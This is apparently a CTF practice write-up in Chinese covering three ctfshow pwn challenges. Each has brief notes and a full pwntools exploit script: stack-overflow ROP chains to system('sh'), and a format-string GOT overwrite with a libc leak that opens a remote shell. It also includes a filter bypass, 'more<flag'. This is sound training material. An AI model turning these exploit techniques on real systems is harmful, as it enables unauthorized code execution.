PWN-PRACTICE-CTFSHOW-5

BJDCTF2020-router

36D杯-签到

栈溢出，用ROPgadget找到一个"sh"字符串，ROP，程序过滤了cat和空格，more<flag绕过即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28041)
elf=ELF("./pwn1")

system=elf.plt["system"]
sh=0x601040
pop_rdi=0x4006d3
ret=0x4004ce

payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)

io.sendline("more<flag")

io.interactive()

36D杯-babyFmtstr

格式化字符串漏洞
1、改写memset的got为main函数地址，重复利用格式化字符串漏洞
2、利用格式化字符串漏洞，泄露libc，得到system真实地址
3、改写printf的got为system真实地址
4、输入/bin/sh\x00

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28041)
elf=ELF("./pwn1")

#gdb.attach(io,"b * 0x400D81")
#pause()

#改写memset的got为main函数地址
memset_got=elf.got["memset"] 
main_addr=0x400E93
payload="%3731c"+"%10$hnaaaa"+p64(memset_got)
io.sendlineafter("please input name:\n",payload)

#泄漏libc
puts_got=elf.got["puts"]
payload="%9$saaaa"+p64(puts_got)
io.sendlineafter("please input name:\n",payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x06f690
system=libc_base+0x045390
print("system=="+hex(system))

#改写printf的got为system真实地址
printf_got=elf.got["printf"]
def set_printf_to_system(system):
	printf_got_addr=printf_got
	x = system & 0xffffffff
	a = x & 0xffff
	a1 = printf_got_addr
	b = (x>>16) & 0xffff
	b1=printf_got_addr+2
	if(a>b):
		tmp=a
		a=b
		b=tmp
		tmp=a1
		a1=b1
		b1=tmp
	s="%"+str(a)+"c"
	s+="%12$hn"
	s+="%"+str(b-a)+"c"
	s+="%13$hn"
	for i in range(32-len(s)):
		s+='a'
	s+=p64(a1)
	s+=p64(b1)
	return s

payload=set_printf_to_system(system)
io.sendlineafter("please input name:\n",payload)

#输入/bin/sh
io.sendlineafter("please input name:\n","/bin/sh\x00")

#pause()

io.interactive()

36D杯-MagicString

栈溢出，利用look_here函数将字符串"ti"变为"sh"，再ROP执行system("/bin/sh\x00")即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28137)
elf=ELF("./pwn1")

main_addr=0x400661
system=elf.plt["system"]
look_here=0x40062D
ti=0x60104d
binsh=0x601048
pop_rdi=0x400733
ret=0x4004d1

io.recvuntil("a girlfriend!\n")
payload="a"*0x2a0+"b"*8+p64(pop_rdi)+p64(ti)+p64(look_here)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()